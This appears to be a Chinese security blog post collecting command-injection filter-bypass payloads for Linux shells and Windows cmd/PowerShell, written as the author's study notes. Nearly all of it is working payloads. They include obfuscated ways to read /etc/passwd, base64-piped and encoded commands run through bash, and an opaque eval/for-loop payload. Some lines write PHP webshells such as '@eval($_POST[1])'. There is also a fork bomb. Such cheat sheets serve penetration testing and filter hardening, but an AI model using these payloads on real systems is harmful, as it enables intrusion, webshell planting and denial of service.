hu1y40's blog

hu1y40'blog
天堂的穹空遍布地狱之火的颜色,但也是天堂。
  1. 首页
  2. Bypass
  3. 正文

命令执行Bypass

2023年10月7日 1467点热度 0人点赞 0条评论

Linux绕过

连接符绕过

/b'i'n/cat /"e"t'c/p'asswd

cat+/etc/passwd --数据包中使用 +能替代空格

反斜杠绕过

c\a\t /e\tc/pa\sswd
c\a\t \/\e\t\c/\p*\d

通配符

cat /etc/pass*
cat /etc/passw?
cat /e[a,t]c/passw[a-z]
cat /e[a,t]c/passw{a,d}
/usr/bin/"w"*"o"am?
/usr/bin/i[[:alpha:]]
# [[:alpha:]] ascii字符类

未初始化变量

cat /et$(a)c/passwd
ca$@$1t /etc/passwd $1变成$a就不行了 估计变量名有关系
echo i$@d /bash
$echo i$@d

路径干扰

cat /./etc/././passwd
cat /./e\t\c\/\.\/\/\/passwd
cat /etc////passwd

多表达式干扰

1;\c\a\t /etc/passwd
1\:;\ca\t /etc/passwd

变量赋值绕过

a=l b=s; $a$b
a=l; ${a}s
u=who;u+=ami;$u

这里还是要看看$a ${a}的区别 后续会补充

反引号干扰

将`content`里面的内容进行命令执行,随后将输出的结果进行执行

$(whoami)会执行root
`whoami`
`ec'ho' cat` /etc/passwd
`\whoami` 这里反斜杠有什么用后续可以看看

空格绕过

cat<>/etc/passwd
cat</etc/passwd
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
echo$IFS"<?=syste_m(\$_GET[])?>">xxx.pxp
cat%09/etc/passwd -- 数据包解析%09空白字符

后续要找找<> 和< 这个为什么能作为空格

高级空格使用

IFS=,;`cat<<<uname,-a`
IFS=:; a=cat:/etc/passwd;$a
IFS=_; command=ls_-l;$command

IFS是什么?

IP转十进制

/??n/?c -e /??n/b??h xxxxxxx

这里没看懂

$()干扰

$()有反引号的功能

$(echo c)at /etc/passwd
$(echo l)$(echo s)

特殊符号

/*/ /**/ /!*/ @

cat /*/ /etc/passwd
cat @ /etc/passwd

{}

mkdir {userA,userB,userC}-{home,bin,data}
cat {/etc/passwd,/etc/group}
{cat,/etc/passwd}
不能随便加空格

系统环境变量替换路径

$HOME
$PWD
$OLDPWD
PWD=/bin
echo $PWD

借助第三方工具

python -c 'print "whoami"' | bash -i
`python -c 'print "who"+"ami"' --python
perl -e 'exec "whoami"'
perl -e 'exec "who" . "ami"'
php -r 'system("whoami")'
exec "whoami"
lua -e "os.execute('whoami');"
awk 'BEGIN {system("whoami")}'

利用编码

echo printf 区别在于printf可写八进制,十六进制,echo不行。echo -e效果等同于printf,可写八进制,十六进制。

echo "{base64}" | base64 -d |bash
printf "{base64}" | base64 -d |bash
echo "636174xxxx" | xxd -r -p |bash
`printf "\154\163"` ---八进制
$'\154\163'
printf "\154\163" | bash
printf "\154\164" | $0
\x --十六进制
\u --unicode

利用cut截断

echo ldds | cut -c1,4 | /bin/bash

tr删除绕过

echo aaaaalaaasaaaa | tr -d 'a' | /bin/bash

Exim4命令绕过(无插件)

kali默认安装

sendmail -be '${run{/bin/touch /tmp/test.txt}}' ---- 新建一个test.txt文件
sendmail -be '$spool_directory' ---/var/spool/exim4 不太懂是啥
exim4 -be '$config -dir' ---/var/lib/exim4
sendmail -be '$initial_cwd' --- /tmp

从文件中拼接

expr substr $(awk NR==1 1.php) 1 1 表示从1.php的第一行第一个字符取值一个
echo ldsd -> 1.php;`expr substr $(awk NR==1 1.php) 1 1``expr substr $(awk NR==1 1.php) 3 1`

ln软连接(不太清楚)

anythink=1
ln -s / anythink;head 0n anythink////../etc/passwd
ln -s ../../ wow; head -n 2 ././wow/../etc/passwd
ln -s / slash; head -n 2 `readlink slash`etc`readlink slash`/passwd
ln -s "head -n 2 /etc/pass" hehehe; $(readlink hehehe)wd

变量替换

提取
${string:position} # 在 $string 中, 从位置 $position 开始提取子串

${string:position:length} # 在 $string 中, 从位置 $position 开始提取长度为 $length 的子串

去除首尾

${string#expression} # 从变量 $string 的开头, 删除最短匹配 $expression 的子串
${string##expression} # 从变量 $string 的开头, 删除最长匹配 $expression 的子串
${string%expression} # 从变量 $string 的结尾, 删除最短匹配 $expression 的子串
${string%%expression} # 从变量 $string 的结尾, 删除最长匹配 $expression 的子串

替换

${string/expression/replacement} # 使用 $replacement, 来代替第一个匹配的 $expression
${string//expression/replacement} # 使用 $replacement, 代替所有匹配的 $expression
${string/#expression/replacement} # 如果 $string 的前缀匹配 $expression, 那么就用 $replacement 来代替匹配到的 $expression
${string/%expression/replacement} # 如果 $string 的后缀匹配 $expression, 那么就用 $replacement 来代替匹配到的 $expression

test=/ehhh/hmtc/pahhh/hmsswd;cat ${test//hhh\/hm/} -- cat /etc/passwd
test1=cahhht;test=/ehhh/hmtc/pahhh/hmsswd;${test1//hhh/} ${test//hhh\/hm/}
test=/ehhh/hmtc/pahhh/hmsswd;cat ${test//hh??hm/} -- cat /etc/passwd
alphabet=fghijklmnopqrstuvwxyzabcde/;cat ${alphabet:26}${alphabet:25:1}${alphabet: -13:-12}${alphabet: -4:1}${alphabet: -1}passwd

管道组合

echo xxx | base64 -d | bash -i
echo whoami | bash -i

倒叙

`echo "imohw"|rev`

神奇的$_

return上一个参数

: cat;$_ $(true |/etc/passwd; echo $_)
: cat;p=$_;(flase /etc;p=$p'';$_;:/passwd;p=$p$_;$p) 这个可能有错

利用for循环拼接命令

eval "$(ijmduN3D=(\[ r f 5 4 G U \" a i s p 1 t \% \} \ e \) \/ \\ 0 b J k z 7 \] \; \{ \| D \( X 2 h 3 \= 9 V 8 w n \$ B c 6 d o);for s7SQJyu8 in 11 1 9 42 13 2 16 14 10 16 7 43 32 24 44 39 8 6 33 37 32 20 19 16 45 16 10 16 47 16 41 16 13 16 11 16 17 16 8 16 20 16 18 28 2 48 1 16 31 25 35 24 23 36 41 5 16 9 42 16 12 16 40 16 3 16 38 16 21 16 26 16 3 16 12 16 21 16 46 16 40 16 34 16 34 16 4 16 36 28 47 48 16 11 1 9 42 13 2 16 14 10 16 7 43 29 24 44 39 8 6 33 0 43 31 25 35 24 23 36 41 5 27 15 7 28 47 48 42 17 18 7 30 22 8 10 35;do printf %s "${ijmduN3D[$s7SQJyu8]}";done)"
a=(dw ah h d m wm o w a i d);for i in 7 2 6 8 4 9;do printf %s "${a[i]}";done
BA=pNNriNNntf;$(a=(dw ah h d m wm o w a i d);for i in 7 2 6 8 4 9;do ${BA//NN/} %s "${a[i]}";done)

组装(高级组装)(无插件)

ls -t 表示根据创建时间排序,最近创建的排在前面

\> '?>'
\> '($_POST[1]);'
\> '@eval'
\> '<?php'
ls -t >1.php

相对路劲绕过(无插件)

通过将绝对路径拆分成相对路径来绕过对敏感路径的正则匹配

cd /etc/ && cat passwd

未解手法(暂时不考虑,放在数据包不能成功)(无插件)

: dummy dummy1 dummy3-col -- 需要同下面分开执行
^ol^at;(${_/*-/} /et?/???sw??) -- 该命令等价于: dummy dummy1 dummy3-cat;(${_/*-/} /et?/???sw??)

符号炸弹(无插件)

:(){ :| :&};:

计数+八进制绕过(无插件)

$#的功能就是计数

函数的方式就是计算字符串的数量

""就是数一下他们的数量

:(){ /???/???/pri??? $@;};.(){ : ${#};}; $(: "\\`. ""``. "" "" "" "" ""``. "" "" "" ""`" ;: "\\`. ""``. "" "" "" "" "" ""``. "" "" ""`") --ls

绕过手法组合

`printf "\u002f"/\./"\u0062\x69\u006e\u002f\u006c"[q-s]` unicode + hex + 通配符 + 路径干扰
printf "cHJpbnRmICJcdTAwMmYiL1wuLyJcdTAwNjJceDY5XHUwMDZlXHUwMDJmXHUwMDZjIltxLXNd" |base64 -d |`/bin/bash`
===
u=/bin/bash;printf "cHJpbnRmICJcdTAwMmYiL1wuLyJcdTAwNjJceDY5XHUwMDZlXHUwMDJmXHUwMDZjIltxLXNd" |base64 -d |`$u`
===
a=base64;echo d2hvYW1p |`$a -d`
a=bas;a+=e64;b=ec;b+=ho;$b d2hvYW1p|`$a -d`
a=bas;a+=e64;b=ec;b+=ho;c=d2hv;c+=YW1p;$b $c|`$a -d`
cat `echo -n '/etc' || echo '/shit' && echo '/passwd'`

其他

\> $PS2
\+ $PS4
内部字段分隔符 ${IFS}
空字符串 ${9}

windows

powershell+通配符

powershell $('ip'+'confi'+'g')
powershell $("{3}-{2}-{1}-{0}" -f 'g','y','conf','ip'")
type C:\windows\*
powershell C:\xxxx

大小写

ifconfiG

利用cmd的环境变量拼接命令

cmd.exe内部命令有:set assoc ftype等

set:命令用来显示,设置或删除cmd.exe环境变量

assoc:文件名扩展关联命令,用于显示和设置文件名扩展关联,可以指定某种后缀名文件按照特定类型文件打开或执行

ftype:显示或修改用在文件名关联中的文件类型,指定一种类型文件默认为哪个程序运行或打开

%comspec:~11,1%表示取comspec变量值中的字符,默认从0下表开始,从11下标取一个字符

set no2= user&&set PdZG2=net&&call %PdZG2%%no2% -- net user
cmd /V:ON/C"set pI=gifnocpi&&for /L %z in (7,-1,0)do set GI4S=!GI4S!!pI:~%z,1!&&if %z==0 call %GI4S:*GI4S!=%" --ipconfig
cmd /V:ON /C "set envar=net user && !envar!" -- net user

系统变量替换

# 打开计算器
%SystemRoot%\System32\calc.exe -- C:\Windows\System32\calc.exe
# 输出%SystemRoot%变量值
echo %SystemRoot%

插入特殊字符干扰

^可以放在任意位置(不能是末尾)

@放在命令开头

,放在命令开头

,;,放在命令开头

插入()括号

n^o^t^e^p^a^d -- notepad
@notepad -- notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e -- calc
(((whoami))) -- 插入括号
,net user
,;,net user

在一些情况下 : , / \ ;可以替换空格

逗号“,”和分号 “;”可以互换,可以取代命令中的合法空格

多个空格也不影响命令执行

echo:%SystemRoot%
echo,%SystemRoot%
echo/%SystemRoot%
echo\%SystemRoot%
echo;%SystemRoot%

> 逗号“,”和分号 “;”可以互换,可以取代命令中的合法空格
>
> 多个空格也不影响命令执行

双引号

wh"o"am""i

补充完整路径

C:\Windows\System32\

%SystemRoot%\system32\

%WINDIR%\System32\

%HOMEDRIVE%\Windows\System32\

%SystemDrive%\Windows\System32\

C:\Windows\System32\ipconfig -- 补充完整路径
%WINDIR%\System32\whoami

利用For循环拼接命令

for /参数 %变量 in (集) do 命令

/d 参数是指定仅对目录而不是文件执行的for命令

for /L %%变量 in (起始值,每次增值,结束时的比较值) do 命令

/F 将会打开(集)里的文件,使for命令能处理文本文件的读取和添加删除替换等编辑性的操作,可谓功能强大,因此也相对复杂一些

for /F %x in ('whoami') do echo %x

&()干扰

cmd.exe /c &("whoami")
cmd.exe /c &("cal"c)

多表达式干扰

1&whoami
1||whoami

特殊字符

  • %1a
标签: Bypass
最后更新:2023年10月7日

hu1y40

这个人很懒,什么都没留下

点赞

文章评论

razz evil exclaim smile redface biggrin eek confused idea lol mad twisted rolleyes wink cool arrow neutral cry mrgreen drooling persevering
取消回复
文章目录
  • Linux绕过
    • 连接符绕过
    • 反斜杠绕过
    • 通配符
    • 未初始化变量
    • 路径干扰
    • 多表达式干扰
    • 变量赋值绕过
    • 反引号干扰
    • 空格绕过
    • 高级空格使用
    • IP转十进制
    • $()干扰
    • 特殊符号
    • {}
      • 系统环境变量替换路径
      • 借助第三方工具
      • 利用编码
      • 利用cut截断
      • tr删除绕过
      • Exim4命令绕过(无插件)
      • 从文件中拼接
      • ln软连接(不太清楚)
      • 变量替换
      • 管道组合
      • 倒叙
      • 神奇的$_
      • 利用for循环拼接命令
      • 组装(高级组装)(无插件)
      • 相对路劲绕过(无插件)
      • 未解手法(暂时不考虑,放在数据包不能成功)(无插件)
      • 符号炸弹(无插件)
      • 计数+八进制绕过(无插件)
      • 绕过手法组合
      • 其他
    • windows
      • powershell+通配符
      • 大小写
      • 利用cmd的环境变量拼接命令
      • 系统变量替换
      • 插入特殊字符干扰
      • 在一些情况下 : , / \ ;可以替换空格
      • 双引号
      • 补充完整路径
      • 利用For循环拼接命令
      • &()干扰
      • 多表达式干扰
      • 特殊字符

分类目录

  • 0day安全
  • Bypass
  • C++Prime
  • CTF
  • DoS
  • DoS
  • FUZZ
  • iot
  • JSONP
  • MISC
  • MISC
  • PHP伪协议
  • Python
  • REVERSE
  • sqli-labs
  • SQL注入
  • Trick
  • UAF
  • WEB
  • WEB
  • XXE
  • 书籍阅读
  • 二进制
  • 代码阅读
  • 信息搜集
  • 信息泄露
  • 加密与解密
  • 双重释放漏洞
  • 反序列化
  • 命令执行
  • 命令执行
  • 堆溢出
  • 密码学
  • 弱加密
  • 提权漏洞
  • 整数溢出
  • 文件上传
  • 未分类
  • 栈溢出
  • 格式化字符串漏洞
  • 模型
  • 汇编语言
  • 渗透测试
  • 漏洞分析
  • 漏洞利用
  • 漏洞战争
  • 漏洞挖掘
  • 病毒分析
  • 越界读取
  • 路径遍历
  • 逻辑漏洞
  • 配置不当
  • 钓鱼
  • 靶场
最新 热点 随机
最新 热点 随机
加密算法 2023年度总结 RTSPServer StackOverflow Vulnerability FUZZ 总览篇 MP4Box 无限循环漏洞 CVE-2023-40477 Winrar RCE漏洞分析
7-Zip integer overflow vulnerability bugku 白哥的鸽子 DIR503A Remote Command Execute 加密与解密 第8章 下 DIR503A 命令执行1 C++ Prime

COPYRIGHT © 2023 hu1y40's blog. ALL RIGHTS RESERVED.

Theme Kratos Made By Seaton Jiang

鄂ICP备2021009673号-1